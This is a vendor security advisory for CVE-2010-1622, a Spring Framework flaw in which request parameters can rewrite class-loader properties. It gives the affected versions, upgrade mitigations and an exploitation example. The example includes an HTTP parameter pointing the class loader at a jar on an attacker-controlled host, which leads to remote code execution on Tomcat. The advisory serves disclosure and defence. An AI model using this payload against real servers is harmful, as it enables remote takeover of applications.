CVE-2010-1622: Spring Framework execution of arbitrary code

Severity: Critical

Vendor:
SpringSource, a division of VMware

Versions Affected:
3.0.0 to 3.0.2
2.5.0 to 2.5.6.SEC01 (community releases)
2.5.0 to 2.5.7 (subscription customers)

Earlier versions may also be affected

Description:
The Spring Framework provides a mechanism to use client provided data to update the properties of an object. This mechanism allows an attacker to modify the properties of the class loader used to load the object (via 'class.classloader'). This can lead to arbitrary command execution since, for example, an attacker can modify the URLs used by the class loader to point to locations controlled by the attacker.

Example:
This example is based on a Spring application running on Apache Tomcat.
1. Attacker creates attack.jar and makes it available via an HTTP URL. This jar has to contain following:
 - META-INF/spring-form.tld - defining spring form tags and specifying that they are implemented as tag files and not classes;
 - tag files in META-INF/tags/ containing tag definition (arbitrary Java code).

2. Attacker then submits HTTP request to a form controller with the following HTTP parameter: class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/ At this point the zeroth element of the WebappClassLoader's repositoryURLs property will be overwritten with attacker's URL.

3. Later on, org.apache.jasper.compiler.TldLocationsCache.scanJars() will use WebappClassLoader's URLs to resolve tag libraries and all tag files specified in TLD will be resolved against attacker-controller jar (HTTP retrieval of the jar file is performed by the URL class).

Mitigation:
All users may mitigate this issue by upgrading to 3.0.3
Community users of 2.5.x and earlier may also mitigate this issue by upgrading 2.5.6.SEC02
Subscription users of 2.5.x and earlier may also mitigate this issue by upgrading 2.5.6.SEC02 or 2.5.7.SR01

Credit:
The issue was discovered by Meder Kydyraliev, Google Security Team

References:
[1] http://www.springsource.com/security/spring-framework